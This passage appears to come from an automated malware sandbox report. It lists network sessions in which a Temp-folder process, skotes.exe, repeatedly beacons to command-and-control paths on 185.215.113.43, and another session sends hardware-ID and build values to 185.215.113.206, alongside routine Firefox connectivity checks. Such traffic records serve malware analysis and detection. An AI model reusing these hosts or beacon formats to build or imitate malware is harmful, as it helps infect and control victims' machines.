Nov 1, 2024 05:55:49.296010017 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:59.340406895 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:56:09.441688061 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:56:19.451499939 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:56:29.471995115 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50112	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:20.176754951 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:21.077095032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	50119	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:20.568706036 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	50121	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:20.671051025 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	50122	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:20.907172918 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	50123	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:21.102783918 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	50128	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:21.247554064 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:22.215662003 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48296 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:22.216538906 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48296 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:22.220063925 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:22.346384048 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48297 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:22.375916958 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:22.504633904 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48297 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:23.019689083 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:23.146636009 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48298 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:26.905373096 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:27.032116890 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48301 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:37.092931032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:54:37.562532902 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:37.688716888 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48312 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:47.697385073 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:54:50.616347075 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:50.742379904 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48325 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:51.249798059 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:51.375683069 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48326 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:54:58.484930992 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:54:58.612154961 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48333 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:55:08.702636957 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:18.796946049 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:19.872160912 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:55:19.998445988 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48354 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:55:23.509433031 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:55:23.656331062 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48358 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:55:33.695789099 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:39.199038982 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:55:39.325226068 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48374 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:55:49.388050079 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:55:59.401748896 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:56:09.497807980 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:56:19.511878014 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 05:56:29.518902063 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50130	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:22.735627890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:23.639770031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	50131	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:24.059606075 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:54:24.962847948 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:54:24.970437050 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 2d 2d 0d 0a Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="hwid"706A636BF1482604982160------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="build"tale------DAEGIIECGHCBFHJKEHDB--
Nov 1, 2024 05:54:25.454149008 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50132	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:25.457751989 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:26.358408928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50134	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:27.995261908 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:28.919260025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50135	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:30.435234070 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:31.341300964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50136	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:32.972814083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:34.054009914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50137	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:35.572588921 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:36.478046894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50139	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:38.109399080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:39.026643038 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50140	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:40.544715881 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:41.448782921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50141	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:43.078819990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:43.987195015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50142	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:45.513293982 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:46.421216011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50143	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
